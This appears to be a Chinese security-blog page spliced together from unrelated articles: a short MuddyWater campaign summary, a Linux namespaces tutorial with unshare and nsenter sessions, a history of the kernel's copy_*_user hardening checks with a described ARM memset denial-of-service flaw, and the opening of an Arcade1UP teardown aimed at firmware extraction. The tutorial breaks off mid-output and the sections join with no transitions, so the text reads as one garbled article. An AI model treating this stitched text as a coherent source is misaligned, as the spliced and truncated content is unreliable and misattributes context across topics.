總結對MuddyWater活動的分析表明,該組織在繼續發展和調整他們的技術。儘管該組織仍然依賴於公開可用的攻擊性安全工具,但它已經改進了自定義工具集,並利用新技術來避免被發現。這可以通過本報告中觀察和分析的三個不同的活動來觀察到:PowGoop惡意軟件家族的演變、隧道工具的使用以及針對Exchange服務器的攻擊。

進程隔離是容器的關鍵組件,容器的關鍵底層機制之一是命名空間(namespaces),下面將分析命名空間(namespaces)是什麼以及命名空間(namespaces)是如何工作的,通過構建自己的隔離容器能夠更好地理解每一部分。

0x01 命名空間(namespaces)是什麼命名空間(namespaces)是2008 年內核版本2.6.24 中發布的Linux 內核特性。它們為進程提供了自己的系統視圖,從而將獨立的進程相互隔離。換句話說, 命名空間(namespaces)定義了一個進程可以使用的資源集,你不能與你看不到的東西交互。在高層次上,它們允許對全局操作系統資源進行細粒度分區,例如安裝點、網絡堆棧和進程間通信實用程序。命名空間(namespaces)的一個強大方面是它們限制了對系統資源的訪問,而正在運行的進程不知道這些限制。在典型的Linux 方式中,它們表示為/proc/

cryptonite@cryptonite:~$echo$$

4622

cryptonite@cryptonite:~$ls/proc/$$/ns-al

total0

dr-x--x--x2cryptonitecryptonite0Jun2915:00.

dr-xr-xr-x9cryptonitecryptonite0Jun2913:13.

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00cgroup-'cgroup:[4026531835]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00ipc-'ipc:[4026531839]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00mnt-'mnt:[4026531840]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00net-'net:[4026532008]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid_for_children-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time_for_children-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00user-'user:[4026531837]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00uts-'uts:[4026531838]'當生成一個新進程時,所有的命名空間(namespaces)都繼承自它的父進程。

#inception

cryptonite@cryptonite:~$/bin/zsh

#fatherPIDverification

╭─cryptonite@cryptonite~

╰─$ps-efj|grep$$

crypton+135604622135604622115:07pts/100:00:02/bin/zsh

╭─cryptonite@cryptonite~

╰─$ls/proc/$$/ns-al

total0

dr-x--x--x2cryptonitecryptonite0Jun2915:10.

dr-xr-xr-x9cryptonitecryptonite0Jun2915:07.

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10cgroup-'cgroup:[4026531835]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10ipc-'ipc:[4026531839]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10mnt-'mnt:[4026531840]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10net-'net:[4026532008]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid_for_children-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time_for_children-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10user-'user:[4026531837]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10uts-'uts:[4026531838]'命名空間(namespaces)是使用帶有以下參數之一的clone系統調用創建的:

CLONE_NEWNS - 創建新的掛載命名空間(namespaces);

CLONE_NEWUTS - 創建新的UTS 命名空間(namespaces);

CLONE_NEWIPC - 創建新的IPC 命名空間(namespaces);

CLONE_NEWPID - 創建新的PID 命名空間(namespaces);

CLONE_NEWNET - 創建新的NET 命名空間(namespaces);

CLONE_NEWUSER - 創建新的USR 命名空間(namespaces);

CLONE_NEWCGROUP - 創建一個新的cgroup 命名空間(namespaces)。

命名空間(namespaces)也可以使用unshare系統調用來創建。 clone和unshare的區別在於,clone會在一組新的名稱空間中生成一個新進程,而unshare會在一組新的namespaces中移動當前進程。

0x02 為什麼要使用命名空間(namespaces)如果我們將命名空間(namespaces)想像為包含一些抽象全局系統資源的進程的盒子,這些盒子的一個好處是你可以從一個盒子中添加和刪除內容,並且不會影響其他盒子的內容。或者,如果一個盒子(一組命名空間namespaces)中的進程A 發瘋並決定刪除該盒子中的整個文件系統或網絡堆棧,它不會影響為放置在不同盒子中的另一個進程B 提供的這些資源的抽象。此外,命名空間(namespaces)甚至可以提供細粒度的隔離,允許進程A 和B 共享一些系統資源(例如共享掛載點或網絡堆棧)。當必須在給定機器上執行不受信任的代碼而不影響主機操作系統時,通常會使用命名空間(namespaces)。 Hackerrank、Codeforces、 Rootme等編程競賽平台使用命名空間(namespaces)環境,以便安全地執行和驗證參賽者的代碼,而不會使他們的服務器面臨風險。 PaaS(平台即服務)提供商,例如穀歌云引擎使用命名空間(namespaces)環境在同一硬件上運行多個用戶服務(例如網絡服務器、數據庫),而不會干擾這些服務。因此,命名空間(namespaces)也可以被視為對有效的資源共享很有用。 Docker 或LXC 等其他雲技術也使用命名空間(namespaces)作為進程隔離的手段。這些技術將操作系統進程置於容器隔離環境中。例如,在Docker 容器中運行進程就像在虛擬機中運行一樣。容器和虛擬機之間的區別在於容器直接共享和使用主機操作系統內核,因此由於沒有硬件仿真,它們比虛擬機輕量得多。整體性能的提高主要是由於使用了直接集成在Linux 內核中的命名空間(namespaces)。

0x03 命名空間(namespaces)的類型在當前穩定的Linux Kernel 5.7 版中,有七種不同的命名空間(namespaces):

PID命名空間(namespaces):系統進程樹的隔離;

NET 命名空間(namespaces):主機網絡堆棧的隔離;

MNT 命名空間(namespaces):主機文件系統掛載點的隔離;

UTS 命名空間(namespaces):主機名的隔離;

IPC 命名空間(namespaces):進程間通信實用程序(共享段、信號量)的隔離;

USER 命名空間(namespaces):系統用戶ID 的隔離;

CGROUP 命名空間(namespaces):隔離主機的虛擬cgroup 文件系統。

命名空間(namespaces)是每個進程的屬性。每個進程最多可以感知一個命名空間(namespaces)。換句話說,在任何給定時刻,任何進程P 都恰好屬於每個命名空間(namespaces)的一個實例。例如,當一個給定的進程想要更新系統上的路由表時,內核會向它顯示它當時所屬命名空間(namespaces)的路由表副本。如果進程在系統中詢問其ID,內核將以其當前命名空間(namespaces)中的進程ID 響應(在嵌套命名空間(namespaces)的情況下)。我們將詳細查看每個命名空間(namespaces),以了解它們背後的操作系統機制。了解這一點將幫助我們找到當今容器化技術的本質。

1.PID命名空間(namespaces)歷史上,Linux 內核一直維護著一個單一的進程樹。樹數據結構包含對當前在父子層次結構中運行的每個進程的引用。它還枚舉操作系統中所有正在運行的進程。這個結構在procfs文件系統中維護, 它是實時系統的一個屬性,即它僅在操作系統運行時存在。這種結構允許具有足夠特權的進程附加到其他進程、檢查、通信和kill它們。它還包含有關進程的根目錄、當前工作目錄、打開的文件描述符、虛擬內存地址、可用安裝點等的信息。

#anexampleoftheprocfsstructure

cryptonite@cryptonite:~$ls/proc/1/

arch_statuscoredump_filtergid_mapmountspagemapsetgroupstask

attrcpu_resctrl_groupsiomountstatspatch_statesmapstimens_offsets

cgroupenvironmap_filesnuma_mapsrootstatuid_map

clear_refsexemapsoom_adjschedstatm

.

#anexampleoftheprocesstreestructure

cryptonite@cryptonite:~$pstree|head-n20

systemd-+-ModemManager---2*[{ModemManager}]

|-NetworkManager---2*[{NetworkManager}]

|-accounts-daemon---2*[{accounts-daemon}]

|-acpid

|-avahi-daemon---avahi-daemon

|-bluetoothd

|-boltd---2*[{boltd}]

|-colord---2*[{colord}]

|-containerd---17*[{containerd}]在系統啟動時,大多數現代Linux 操作系統上啟動的第一個進程是systemd(系統守護進程),它位於樹的根節點上。它的父進程是PID=0,它是OS 中不存在的進程。此進程之後負責啟動其他服務/守護進程,這些服務/守護進程表示為其子進程,並且是操作系統正常運行所必需的。這些進程的PID 1,樹結構中的PID 是唯一的。

隨著Process 命名空間(namespaces)(或PID 命名空間(namespaces))的引入可以製作嵌套的流程樹。它允許除systemd (PID=1) 以外的進程通過在子樹的頂部移動來將自己視為根進程,從而在該子樹中獲得PID=1。同一子樹中的所有進程也將獲得與進程命名空間(namespaces)相關的ID。這也意味著某些進程可能最終擁有多個ID,具體取決於它們所在進程命名空間(namespaces)的數量。然而,在每個命名空間(namespaces)中,至多一個進程可以擁有一個給定的PID(進程樹中節點的唯一值)成為每個命名空間(namespaces)的屬性)。這是因為根進程命名空間(namespaces)中的進程之間的關係保持不變。或者換句話說,新PID 命名空間(namespaces)中的進程仍然附加到其父級,因此是其父級PID 命名空間(namespaces)的一部分。所有進程之間的這些關係可以在根進程命名空間(namespaces)中看到,但在嵌套進程命名空間(namespaces)中它們是不可見的。這意味著嵌套進程命名空間(namespaces)中的進程不能與其父進程或上層進程命名空間(namespaces)中的任何其他進程交互。這是因為,在新的PID 命名空間(namespaces)的頂部,進程將其PID 視為1,並且在PID=1 的進程之前沒有其他進程。

img

在Linux 內核中,PID 表示為一個結構。在內部,我們還可以找到進程所屬的命名空間(namespaces)作為upid struct數組的一部分。

structupid{

intnr;/*thepidvalue*/

structpid_namespace*ns;/*thenamespacethisvalue

*isvisiblein*/

structhlist_nodepid_chain;/*hashchainforfastersearchofPIDSinthegivennamespace*/

};

structpid{

atomic_tcount;/*referencecounter*/

structhlist_headtasks[PIDTYPE_MAX];/*listsoftasks*/

structrcu_headrcu;

intlevel;//numberofupids

structupidnumbers[0];//arrayofpidnamespaces

};要在新的PID 命名空間(namespaces)內創建新進程,必須使用特殊標誌CLONE_NEWPID調用clone()系統調用。而下面討論的其他命名空間(namespaces)也可以使用unshare()系統調用創建,PID 命名空間(namespaces)只能在使用clone()或fork()系統調用產生新進程時創建。

#Let'sstartaprocessinanewpidnamespace;

cryptonite@cryptonite:~$sudounshare--pid/bin/bash

bash:fork:Cannotallocatememory[1]

root@cryptonite:/home/cryptonite#ls

bash:fork:Cannotallocatememory[1]shell卡在兩個命名空間(namespaces)之間。這是因為unshare在執行後沒有進入新的命名空間(namespaces)(execve()調用)。當前的“unshare”進程調用了unshare系統調用,創建了一個新的pid命名空間(namespaces),但是當前的“unshare”進程不在新的pid命名空間(namespaces)中。進程B創建了一個新的命名空間(namespaces),但進程B本身不會被放入新的命名空間(namespaces),只有進程B的子進程才會被放入新的命名空間(namespaces)。創建命名空間(namespaces)後,`unshare程序將執行/bin/bash。然後/bin/bash將分叉幾個新的子進程來做一些工作。這些子進程將有一個相對於新命名空間(namespaces)的PID,當這些進程完成時,它們將退出,退出命名空間(namespaces)但是PID沒有置1。 Linux 內核不喜歡沒有PID=1 進程的PID 命名空間(namespaces)。因此,當命名空間(namespaces)為空時,內核將禁用與該命名空間(namespaces)內的PID 分配相關的一些機制,從而導致此錯誤。

我們必須指示unshare程序在創建命名空間(namespaces)後派生一個新進程。然後這個新進程將設置PID=1 並將執行我們的shell 程序。這樣當/bin/bash的子進程退出時,命名空間(namespaces)仍然會有一個PID=1 的進程。

cryptonite@cryptonite:~$sudounshare--pid--fork/bin/bash

root@cryptonite:/home/cryptonite#echo$$

1

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

7239pts/000:00:00sudo

7240pts/000:00:00unshare

7241pts/000:00:00bash

7250pts/000:00:00ps但是當我們使用ps時,為什麼我們的shell 沒有PID 1呢?為什麼我們仍然可以從根命名空間(namespaces)看到進程?該PS程序使用的procfs虛擬文件系統,以獲取有關係統中的電流進程的信息。該文件系統安裝在/proc 目錄中。但是,在新命名空間(namespaces)中,該掛載點描述了root PID 命名空間(namespaces)中的進程。有兩種方法可以避免這種情況:

#creatinganewmountnamespaceandmountinganewprocfsinside

cryptonite@cryptonite:~$sudounshare--pid--fork--mount/bin/bash

root@cryptonite:/home/cryptonite#mount-tprocproc/proc

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/200:00:00bash

9pts/200:00:00ps

#Orusetheunsharewrapperwiththe--mount-procflag

#whichdoesthesame

cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/100:00:00bash

8pts/100:00:00ps正如我們之前提到的,一個進程可以有多個ID,這取決於該進程所在的命名空間(namespaces)的數量。現在檢查嵌套在兩個命名空間(namespaces)中的shell 的不同PID。

╭cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash

#thisprocesshasPID4700intherootPIDnamespace

root@cryptonite:/home/cryptonite#unshare--fork--pid--mount-proc/bin/bash

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/100:00:00bash

8pts/100:00:00ps

#Let'sinspectthedifferentPIDs

cryptonite@cryptonite:~$sudonsenter--target4700--pid--mount

cryptonite#ps-aux

USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND

root10.00.0184764000pts/0S

Linux 內核是一個不斷迭代的代碼庫,截至2021 年,其代碼行數已超過3000 萬行。然而,由於用戶通常不會運行最新的頂層Linux 內核,因此從用戶的角度來看,它也是一個非常分散的代碼庫,這對安全性有重要影響。一致的安全屬性(跨內核版本、處理器架構、編譯器版本)是grsecurity一個重要目標,但頂層通常不會將添加的預防性安全檢查或功能向後移植到舊支持的內核,並且這些措施的狀態沒有很快被最終用戶採用,實際上,必須是有經驗的專注於安全的內核開發人員才能確定他們自己系統的狀態。

作為系統管理員,我們首先要擔心的問題是一個系統的安全性和穩定性,其次才是它的效能和效率。一個系統是否安全,一般來說與系統的複雜性有直接關係。對於必須開放訪問的系統來說,成熟而可靠的系統保護措施是十分重要的。而對作為各種程序運行平台的操作系統而言,系統越複雜可能隱藏的攻擊面也就越多。

受copy_*_user 中的檢查影響的漏洞類型在過去已經出現過幾次,例如, Mathias Krause 在2013 年的修復報告。在討論這些檢查時,最有意義的是談論當前的頂層狀態,之後我們可以討論代碼的歷史以及它是如何隨著時間的推移而演變的。

當前頂層copy_*_user() 檢查在當前的頂層內核中,copy_from_user(用於將數據從用戶級複製到內核)和copy_to_user(用於將數據從內核複製到用戶級)實現如下:

1.png

因此,如果check_copy_size() 通過,則將調用較低級別的copy_*_user 例程。這些較低級別的例程可以內聯或不內聯,具體取決於處理器架構,但它們的實現方式保持不變:

2.png

access_ok() 是一個古老的例程,其目的是驗證用戶空間中提供的範圍(作為copy_from_user 的源,copy_to_user 的目標)是否實際駐留在用戶空間中。這個API 最近發生了變化,從thread_info 結構中刪除了addr_limit 並將內核拆分為內核副本到它自己的API。以前,在addr_limit 恢復之前的set_fs(KERNEL_DS) 或惡意修改的addr_limit(過去幾年的常見漏洞利用技術)之後運行的代碼可以(ab)使用copy*user 進行任意內核讀/寫。

should_fail_usercopy() 與錯誤注入(模糊增強)有關,可以忽略。 instrument_* 同樣可以忽略,因為它與KASAN(調試/模糊測試增強)有關。出於生產安全目的,我們感興趣的唯一代碼是access_ok() 和check_copy_size()。

3.png

讓我們稍微解釋一下這裡顯示的內容:__compiletime_object_size()是一個宏,它利用了編譯器的__builtin_object_size()。如果內核中用於復制的源或目標(適當)的對象的大小能夠在編譯時確定,這將返回該對象的大小。否則,編譯器版本不支持__builtin_object_size(),它返回-1。

當內核對象的大小是靜態已知的並且要復制的長度也是恆定的時,__bad_copy_from() 和__bad_copy_to() 都是編譯時出現的錯誤,這種情況在實踐中不太可能會變成安全問題,除非代碼從未測試/使用過。當對像大小靜態已知但複製長度不是編譯時常量時,Copy_overflow()是一個運行時警告。

如果復制長度大於INT_MAX,“WARN_ON_ONCE(bytes INT_MAX)”檢查將產生運行時警告。由於這是在無符號size_t 類型上計算的,因此當在有符號int 或long 類型上解釋時(即oss-sec 上報告的錯誤的情況),這具有拒絕負長度的附加效果。稍後會詳細介紹此檢查。

check_object_size() 來自頂層的USERCOPY 功能的有限版本。不會對其返回值進行檢查,因為它不會像其他檢查那樣簡單地使復制失敗,而是在usercopy_abort() 中執行BUG() ,這在簡單的情況下將簡單地終止所涉及的進程,但在更複雜的場景中,例如在用戶空間副本周圍保留互斥鎖可能會導致某些代碼路徑鎖定,或者在panic_on_oops 場景中,會導致系統崩潰。

關於oss-sec 報告中討論的漏洞的實際影響,由於2018 年6 月的'fsi: Add cfam char devices'中針對Linux 4.19 引入了錯誤的CFAM 更改,因此cfam_write() 案例將進入copy_from_user()使用負長度,到達check_copy_size() ,其中__compiletime_object_size() 將返回4 用於復製到的__be32 數據變量,然後由於字節不是編譯時常量,將調用copy_overflow(),觸發其中包含的WARN(),並錯誤地中止複制操作。

為了簡潔起見,我們將把分析限制在這些方面,而不會深入raw_copy_*_user()本身的實現,它已經看到了自己的體系結構特定的發展,包括SMAP/PAN/等的引入和Spectre的發現。

在繼續之前要注意的最後一點是memset()只存在於_copy_from_user()中,內核註釋如下:

注意:1.只有copy_from_user() 在短複製的情況下將目標置零。 2.__copy_from_user() 和__copy_from_user_inatomic() 都不為零。 3.他們的調用者絕對必須檢查返回值。

注意__copy_*_user(兩個下劃線)和_copy_*_user(一個下劃線)是不同的。這個memset()的原因大概是為了解決Linux歷史上copy_*_user被標記為__must_check屬性之前的情況,要求調用者檢查返回值是否錯誤。考慮一種常見的情況,即從用戶級複製結構,內核更改了某些字段,然後將結構複製回用戶級。如果來自用戶級的副本或內核設置字段沒有寫入的區域被複製回用戶級,且未初始化,它們可能會將之前的內存內容洩漏到用戶級(信息洩漏)。用戶級還可以通過使部分複制範圍包括未映射的地址或操作的無效權限來強制低級複製例程中的部分失敗。

check_object_size() 的歷史這個檢查第一次出現在2016年6月的Linux 4.8版本中,通過commit“mm: Hardened usercopy”。它的提交信息如下:

“這是將PAX_USERCOPY移植到主線內核的開始。這是由CONFIG_HARDENED_USERCOPY控制的第一組特性。這項工作是基於PaX Team和Brad Spengler的代碼,以及Casey Schaufler的早期移植。其他非平板頁面測試來自Rik van Riel。”

check_object_size() 通過引用堆和其他元數據來工作,以便在運行時盡可能驗證複製操作是否發生在單個對象的範圍內。

儘管上面提到的提交消息是移植完整功能的開始,但在5年裡,除了禁用上述添加的頁面測試(grsecurity中不存在)以外,該功能沒有出現其他重大變化,這破壞了內核的幾個方面。 PAX_USERCOPY最初發佈於2009年,比有限的上游版本早了大約7年。強化後的用戶複製代碼沒有向後移植到早期版本,包括當時的活動LTS 版本。因此,頂層4.4 XLTS。

__compiletime_object_size()/__builtin_object_size() 的歷史__builtin_object_size()在2005年Arjan van de Ven編寫的FORTIFY_SOURCE補丁中首次使用。它最初關注的是FORTIFY_SOURCE在用戶級中也涵蓋的典型的str*和mem* api。 2009 年,在研究FORTIFY_SOURCE 在內核中的實際覆蓋範圍時,我將Arjan 的工作擴展到對更多函數執行檢查,並增加了它對一些[k|v]malloc 對像大小的編譯時知識,發現它只檢測了約30% 的涵蓋API 實例,不過從安全角度來看,是不太可能出現被攻擊的。

這些str* 和mem* API 的覆蓋範圍是在2017 年7 月為4.13 內核提交“include/linux/string.h: add the option of fortified string.h functions”,但沒有提及早期的工作,或者任何使用一些動態分配對像大小的改進知識,將其有效覆蓋率降低到我最初調查的30% 以下。

2009 年Arjan van de Ven 通過提交“x86: Use __builtin_object_size() to validate the buffer size for copy_from_user()”為x86 頂層添加了用於copy__*_user 的__builtin_object_size()。這個Linux 2.6.34的初始版本只覆蓋了copy_from_user,僅從2013 年10 月開始涵蓋copy_to_user,其中Jan Beulich 為Linux 3.13 提交了'x86: Unify copy_to_user() and add size checking to it'。它看到了許多重構,最終通過Al Viro 在2017 年3 月為4.12 版本的Linux 提交'generic .copy_._user primitives'產生了一個獨立於架構的變體。

正如我們之前提到的,__builtin_object_size() 是由編譯器提供的。 2013 年4 月,為了響應內核在某些GCC版本上現有使用內置函數產生的編譯時錯誤,Guenter Roeck 合併了“gcc4: disable __compiletime_object_size for GCC 4.6+”,使得整個練習對受影響的編譯器毫無用處版本(當時,最新發布的GCC 版本是4.8.0)。

“我想指出,儘管__compiletime_object_size() 在4.6 之前被限制為gcc,但整個構造將變得越來越沒有意義。 然而,我會質疑commit 2fb0815c9ee6b9ac50e15dd8360ec76d9fa46a2 ('gcc4: disable__compiletime_object_size for GCC 4.6+') 確實是必要的,相反,這應該像從一開始就在這裡做的那樣處理。”

然而,直到2016年8月Josh Poimboeuf的Linux 4.8 commit:“mm/usercopy: get rid of CONFIG_DEBUG_STRICT_USER_COPY_CHECKS”,對GCC=4.1和4.6使用__builtin_object_size()的限制被更改為GCC=4.1。在這次提交時,GCC 6.2是最新的編譯器版本。 Josh的提交也消除了啟用調試選項以獲得功能的需要。

綜上所述,在大約三年的時間裡,除了少數內核開發人員對內核進行檢查之外,用戶都沒有進行過有關操作。還應該注意的是,放寬對__builtin_object_size() 版本限制的4.8 提交從未向後移植到早期的內核,這意味著即使對於今天最新的4.4 XLTS 版本,任何涉及此的檢查對於幾乎任何現代用戶都是完全無實操可能性的。

你可能想知道,Clang在構建Linux時是如何發揮作用的,儘管谷歌在2018 年底開始使用Clang 構建內核的4.4 內核。 Clang 歷史上(甚至在最新版本中)偽造了4.2.1 的GCC 版本,因此不受這些更改的影響。

WARN_ON_ONCE 的歷史(bytes INT_MAX)這種檢查最早是Linus Torvalds 本人在2005 年2 月對2.6.11 內核通過BUG_ON() 對i386 進行的檢查。由於Andi Kleen 的提交“[PATCH] i386: Remove copy_*_user BUG_ONs for (size 0)”,兩年多後,這些檢查在2.6.22版本的內核中被刪除,並錯誤地解釋為“access_ok檢查這種情況,不需要檢查兩次”。這種解釋是錯誤的,因為雖然access_ok()確實有效地檢查了相同的情況,但BUG_ON()避免了後續memset()的執行,此後memset()就可以執行了。

在grsecurity 中,2.6.29 版本的Linux 在2009 年8 月時在Linux 支持的幾乎所有架構中安全地實施了此檢查,沒有BUG_ON()。重要的是,此檢查是在access_ok() 之前執行的,並且在copy_from_user() 的情況下避免了稍後將討論的易受攻擊的memset()。

在頂層,這項檢查是由Kees Cook 在2019 年12 月針對Linux 5.5通過“uaccess: disallow INT_MAX copy sizes”引入的。由於只有2 行更改,因此一個月後它被反向移植到Linux 5.4。然而,由於copy_*_user API 在前幾年經歷了相當大的變動,這個簡單的改變並沒有被進一步的反向移植,因此在上游的4.4、4.9、4.14或4.19 XLTS內核中也沒有出現,而這些內核現在仍然支持XLTS。

copy_from_user memset 的歷史在x86 上,至少可以追溯到2002 年之前,只有在access_ok() 成功時才對失敗的copy_from_user 進行歸零。例如當copy_from_user的大小不是編譯時常量時調用__generic_copy_from_user 的實現。後來,情況發生了變化,從Linux 2.4.3.4 的這個提交開始,從隨後的2.4.35版本的這個改變開始,該版本在access_ok()失敗時添加了歸零設置。

Andrew Morton在2003年6月發布了一個x86補丁,提到了在access_ok()失敗的情況下重新放置memset()。

最有趣的是,早在2002年的Linux 2.4.4.4中,ARM就有以下變化:

6.png

目前尚不清楚該評論是指它緩解了前面描述的安全漏洞還是引入了一個漏洞,該漏洞可能由攻擊者控制長度的緩衝區歸零,然而,這一改變確實帶來了一個潛在漏洞。考慮到由於計算中的一些溢出而導致n=-1 的情況:access_ok() 在32 位ARM 上將失敗,因為n 表示為添加到任何用戶空間的無符號值地址將涵蓋包括內核空間在內的範圍。 else 情況將被觸發,導致長度為0xffffffff 的memzero(),肯定會導致系統無法恢復的DoS。

目前該問題仍然存在於頂層中。

由於2019年添加的禁止INT_MAX副本大小的頂層檢查是在check_copy_size()中實現的,因此它失敗了,避免了對_copy_from_user()的調用,這將執行錯誤的memset(),與十年前的grsecurity更改相同。然而,由於未知的原因,在提交消息或它所引用的郵件列表討論中,根本沒有提到修復這個漏洞。

如上所述,由於頂層的更改未向後移植到4.4、4.9、4.14 或4.19版本種,因此可以將負長度傳遞給copy_from_user() 的內核版本中存在的錯誤可能會導致大量內存損壞並保證系統DoS。如果有人接受某些人提出的緩解建議並啟用panic_on_warn,2019年進行的頂層更改也會通過恐慌導致DoS。

這篇文章將以Arcade 1UP Marvel 街機為目標,重點介紹UART、UBoot 和USB。 Arcade1UP系列街機自從推出以來,已經有很多玩家在研究如何更換機櫃的內部組件來運行通用MAME 軟件。這篇文章將著眼於現有的硬件,並討論如何提取固件。

1.png

在這篇文章,我們將介紹以下內容:

1.拆卸現有嵌入式系統的支撐硬件;

2.通過IC 標記識別組件;

3.用萬用表測量連接器電壓;

4.邏輯分析儀的使用和設置;

5.UBoot分析和審查;

6.使用depthcharge 編寫UBoot 交互腳本;

這篇文章旨在介紹在目標系統上定位活動的UART、如何接近UBoot 控制台以及最終如何利用這兩個組件從我們的目標中提取閃存。閱讀本文後,你將熟悉屏幕實用程序depthcharge python3庫。

硬件概述在查看新目標時,首要任務之一是檢查可用的接口。在這個街機櫃的例子中,可用的接口乍一看是相對較小的。用戶通過操縱桿/按鈕和機櫃側面的USB接口與該設備進行交互。在機櫃的一側似乎很少有關於USB端口的信息。請注意,即使在網站上的圖片,也沒有USB端口。但是,在機櫃的一側有一個USB設備端口,用於提供外部控制器支持。在另一邊,我們有一個標準的耳機插孔。這兩個外設的行為與預期的一樣,USB端口可以用於連接外部控制器。

在一些老式的手機上,可以配置音頻插孔以在啟動時顯示串行終端。關於這方面的更多信息可以在這裡找到。不幸的是,在這個平台上沒有這樣的修改。

2.jpg

第一次查看這樣的PCB 時,我們首先要記下任何零件編號,看看是否能找到任何數據表。第一個讓我印象深刻的組件用藍色突出顯示。

3.jpg

它是RockchipRK3128,如果我們在網上搜索這個部件編號,我們會發現大量的相關信息。

中央處理器四核ARM Cortex-A7MP Core 處理器,一種高性能、低功耗和緩存的應用處理器;

完全實現ARM架構v7-A指令集,ARM Neon Advanced SIMD(單指令,多數據)支持加速媒體和信號處理計算;

圖形處理器ARM Mali400 MP2;

高性能OpenGL ES1.1 和2.0、OpenVG1.1 等;

內存8 kb的內部存儲器;

動態內存接口(DDR3/DDR3L/LPDDR2):兼容JEDEC標準DDR3-1066/DDR3L-1066/LPDDR2-800 SDRAM。支持32位數據寬度,2級(芯片選擇),總共2GB(最大)地址空間。

Nand Flash接口:支持8位async/toggle/syncnandflash,最多4個bank。 16位、24位、40位、60位硬件ECC;

eMMC接口:兼容標準eMMC接口,支持MMC4.5協議;

視頻MPEG-1, MPEG-2, MPEG-4,H.263, H.264, H.265, VC-1, VP8, MVC的實時視頻解碼器

音頻具有8 個通道的I2S/PCM:最多8 個通道(8xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。

具有2個通道的I2S/PCM:最多2 個通道(2xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。

連接SPI控制器:一個集成SPI控制器;

UART控制器:3個集成UART控制器;

I2C控制器:4個集成I2C控制器;

USB Host2.0:嵌入式1 USB Host 2.0接口;

USB OTG2.0:兼容USB OTG2.0規範,支持高速(480Mbps)、全速(12Mbps)和低速(1.5Mbps)模式;

依據上述描述,我們就了解了很多關於目標處理器的信息。我們現在知道了架構和可用的外圍設備和接口,這些對我們是有用的,因為它們可能概述未來的攻擊向量。重要的是要記住,在逆向工程過程的這個階段沒有太多的信息。在嘗試與目標進行交互之前,我們希望盡可能多地了解目標。

在CPU附近,我們有另一個以橙色突出顯示的組件。

4.jpg

此組件標記為SEC931 K4B2G1646F-BYMA,我們很幸運,從三星在此網頁中搜索此部件編號結果。本頁上的信息告訴我們這是一個2GB DDR3 SDRAM芯片。一個數據表也可以從這個頁面獲得,收集可用的數據表總是值得的。該芯片負責將可用內存擴展到CPU,並提供一個易失性內存源(RAM)。

到目前為止,我們已經確定了哪些可能是主CPU和外部RAM。然而,我們仍然缺少一種非易失性存儲。所以,接下來,讓我們檢查一下下面用粉色突出顯示的組件。

5.jpg

此組件被標記為Winbond 25N01GVZEIG,搜索此部件編號將導致我們找到此數據表。這部分是一個1G-bit串行SLC NAND閃存芯片。根據數據表,該芯片採用串行外設接口,兼容的電壓範圍在2.6V到3.3V之間。該芯片可能包含機櫃使用的大部分數據,並將成為我們提取固件的主要目標。

最後一個組件靠近GPIO線,標記為MIX2018A。這個組件不像我們看到的其他組件,我無法找到那麼多的信息。然而,該IC 似乎是音頻放大器。

回顧一下到目前為止我們已經確定的組件,有:

瑞芯微RK3128 ARM CPU;

三星SRAM 芯片;

華邦1GBit NAND 閃存;

MIX2018A 音頻放大器;

現在我們已經回顧了這塊板上的集成電路,讓我們看看板上的連接器,看看我們能學到什麼。

連接器分析現在我們已經記錄了主板上的分立組件,我們將嘗試識別主板上的外部連接器。首先,我們有桶形連接器;此連接器在下圖中以藍色標出:

6.jpg

該連接器用於為機櫃供電

在桶形連接器的右側,我們有一個微型USB 端口。這應該立即引起人們的注意,原因有兩個:

這不是一個面向用戶的端口;

這不是一個USB 主機端口,這是一個微型端口,表示USB 設備或可能是OTG(移動)控制器;

繼續向右,我們有兩行頂針。這些是通過早期圖像中顯示的灰色帶狀電纜連接的。該連接器連接到一個單獨的控制板,用於處理操縱桿/按鈕。

在我們的控制面板連接器之後,還有另一個四針連接器。有了這個連接器,它的方向就不那麼明顯了。例如,這個接口可以連接USB接口或耳機接口。我們可以用萬用表的連續性測試來確定這一點。連續性測試將檢查電流是否可以在兩個探頭之間流動,通常用以下符號在萬用表上表示:

8.png

我們可以使用這個模型來測試兩個組件是否連接,我把一根耳機線插入耳機插孔,把探針放在一個金屬環上進行測試。用另一個探針,我觸摸了四針連接器的每一個點,在其中一條線上,萬用表發出了一聲響亮的嗶嗶聲,讓我們知道這兩點之間存在連接。三個引腳中的每一個都與音頻連接器上的一個環相吻合,這是我們的音頻接口!

接下來,我們有用於顯示的連接器。

在顯示屏附近,我們有兩個兩針連接器,一個在右下角,用於為字幕的背光供電,另一個用於金屬外殼外部的開關。

11.jpg

